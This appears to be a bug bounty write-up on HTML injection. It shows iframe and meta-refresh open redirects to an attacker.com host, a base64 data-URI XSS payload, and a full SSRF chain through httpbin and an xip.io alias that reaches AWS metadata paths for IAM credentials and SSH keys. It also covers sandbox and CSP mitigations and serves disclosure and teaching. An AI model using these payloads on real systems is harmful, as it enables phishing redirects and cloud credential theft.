Hey hunters! being a while of my last post! so let’s get deep on this right now!
Really? it’s kind a joke? Getting bugs with <HTML>?
<iframe> tag — (Client side bug)
This tag is just amazing, let me explain you why:
IFrame’s Tag & Open Redirects
<iframe> tag serves developers if they need to include an html document inside another html document. If source of inserted document located on another origin, same origin policy will block any access to content of other document for both of them. So, if you try to get content of child document from another origin, you end with SOP error in console.
There is a legal violation applied to iframes. Developer who codes this tag sometimes has to work with location of child or parent document
The violation here is: child document can view and set location property for parent, even if cross-origin (top.window.location)
“even if cross-origin” : wait what? a child iframe can handle the parent behavior? where is the SOP policy?
Reproduction Steps & PoC
- Inject an iframe
//attacker.com/toplevel.html will be:
<html><head></head><body><script>top.window.location = “https://attacker.com/hacked.html"</script></body></html>
When iframe is loaded, parent will be redirect to the evil page! even when iframe is loaded with //attacker.com/ and victim //victim.com/ (different origins) SOP is bypassed due the iframe NOT being “sandboxed”
Why severity as P2? seems quite lame Huh? In this particular scenario, this bug affects 3 different domains on the entire app, (internal & public links) including all the wildcards *.restricted.com, *.restricted2.com, *.restricted3.com which is quite critical :)
Fix & Mitigation
The common mitigation for this bug its patching iframes with a sandbox attribute. It is basically an attribute which rules the execution and access policy for child document. In this particular case you would like to have sandbox=’allow-scripts’ but not sandbox=’ allow-scripts allow-top-navigation’, so no top-navigation will be allowed for scripts running in child document.
<meta> tag (Client Side Bug)
<meta> tags are informational (let's call these passive)
<meta name="description" content="...">
And some affect the page in some way (let's call these active)
<meta http-equiv="Set-Cookie" content="SESSID=1">
In CSP there is no way to revoke the power of these active ones.
Dangerous functions that can be performed by
<meta http-equiv="... include
- Redirect to any regular URL
- Redirect to any data: URL
I mention both of these, because they can both be addressed by the same directive:
Content-Security-Policy: default-src 'self';, or
Content-Security-Policy: http-equiv 'self'; would disallow http-equiv in
<meta>, 'self' would infer the equivalent headers should be used. 'none' keyword would have equivalent meaning here.
Hashes could be used to selectively enable based on the content=”…”. Similarly nonces could be specified inline.
Optionally, the values for http-equiv could be selectively specified to enable them
Content-Security-Policy: http-equiv 'set-cookie' 'refresh';, or
Content-Security-Policy: http-equiv set-cookie refresh;
Content-Security-Policy: http-equiv 'unsafe-inline'; could be used restore default unsafe behaviour.
Obviously there are a few ways this could be implemented, the above is a suggestion. The main aim here is that site owners have a mechanism whereby they may disable active
<meta> tags if they don't want to use them.
If you notice the above information, seems that we can use <meta> tag with content=”0;data:” URI, so An attacker with this payload can force a victim to execute arbitrary code, (seems working on safari only)
<meta name=“language” content=”0;data:text/html;base64,PHNjcmlwdD5wcm9tcHQoIlhzc2VkIGJ5IGFrMXQ0Iik8L3NjcmlwdD4=“ HTTP-EQUIV=”refresh”” />
That’s Nice, but FIREFOX/CHROME will block this :(
- Navigation to toplevel data: URI not allowed (chrome)
- Not allowed to navigate top frame to data URL (firefox)
[ A recent time ago i found a CSP Bypass over SAFARI browsers with:
this was listed over PayloadsAllTheThings:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection (you can find other bypasses here) ] Maybe you find it useful :)
But we have a really limited attack surface here, and this write up is about <html> injection.. so move on & let’s improve this
<meta> Using HTTP-EQUIV Refresh as Open Redirects
Reproduction Steps & PoC
An attacker using this payload can force victims to be redirected to an evil page:
- inject this payload:
<meta name=“language” content=”5;http://attacker.com/poc.svg" HTTP-EQUIV=”refresh”” />
In this case The Current CSP Policy on the Website will not block <meta http-equiv=>
So victim will be redirected to the evil page in 5 secs
- All browsers are affected because its a “legal” redirect:
CSP can filter http-equiv and/or disallow <meta> tag injection directly from the website/app
*Remember that Open Redirects can be really harmfull & used in a lot of different attacks including chained bugs:
- Oauth/SSO flows on redirect uri
- iframe injection
- Stealing Auth headers, token headers,
- SSRF, etc
Escalating <HTML> injection to Server Side Bugs
<meta> and <iframe> tags chained
Functional Description of the Website/App
The website/app permit the creation of dynamic pages, when the page is created, a headless browser on server side take a snapshot of the page,
- The headless browser parses our html page (code edited from the app or uploaded as a file)
- The headless browser take an snapshot of the page and show the output as image in the web application (we got output!)
This seems really Nice scenario for find some bugs, Huh?
Ok now guess what? Yes: “HTML injection”
I can use HTML tags but not JS execution, so i tried all the tags that you can imagine in the file.html with any results (even iframe was filtered) :(
Remember the <meta> tag with http-equiv? why don’t try a redirect?
The headless browser will follow???
<HTML> <HEAD> <meta http-equiv=”refresh” content=”0; url=http://attacker.com”> <TITLE> The title of your page </TITLE> </HEAD> <BODY> <img editable=”true” width=”10"> </BODY> </HTML>
After parser executes this file i got a picture of “https://attacker.com” webpage as output!
So any page over content=”0;url=http://google.com” will be displayed as an snapshot output:
Ok, we handle the redirects of the headless browser, so i reported this to the program & i receive the next response:
Did you see that? “Our last SSRF over AWS instance?” OK let’s go for it!
- iframe tag is filtered, so i can’t iframe “http://169.254.169.254/latest/meta-data/hostname” directly
I think on this:
“i Have a redirect, now i need an endpoint page which renderize an <iframe> with the AWS instance url”
httpbin.org comes to rescue
httpbin has a lot of services, i use it generally for get my origin ip like:
“origin”: “191.x.x.x, 191.x.x.149”
One of their services call my attention: was the “base64” page:
Work like this:
live example will be: http://httpbin.org/base64/YWsxdDQgcnVsZXoh
you will see the text: ak1t4 rules!
(Any html tag will be decoded and rendered in the page) but remember that we cannot use JS! headless browser will not process it
I try the next payload without any luck:
This will iframe the AWS instance, but dosn’t work: why? remember that instances & internal IPS were blacklisted?
Ok let’s bypass this!
So i try:
1ynrnhl.xip.io == 169.254.169.254
Final Payload inside file.html
<meta http-equiv=”refresh” content=”0; url=http:/httpbin.org/base64/PGlmcmFtZSBzcmM9Imh0dHA6Ly8xeW5ybmhsLnhpcC5pby9sYXRlc3QvbWV0YS1kYXRhL2hvc3RuYW1lIj48L2lmcmFtZT4=”>
- This payload redirect the headless browser to httpbin service
- httpbin will decode the base64 and iframe the AWS instance
- Headless browser will output response with an snapshot
BOOM! WE GOT SSRF with <META> + <IFRAME> tags chained!
From here we can reach any AWS endpoint:
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy http://169.254.169.254/latest/user-data http://169.254.169.254/latest/user-data/iam/security-credentials/role
http://169.254.169.254/latest/meta-data/ami-id http://169.254.169.254/latest/meta-data/reservation-id http://169.254.169.254/latest/meta-data/hostname http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
I asked to the team for escalate this to RCE, but their response was:
So that’s all folks, i hope you enjoy this reading as i enjoyed writing!
Just a reminder: “Bugbounty needs to be fun, play a little, break some things & don’t forget to smile! nothing is to serious, enjoy life”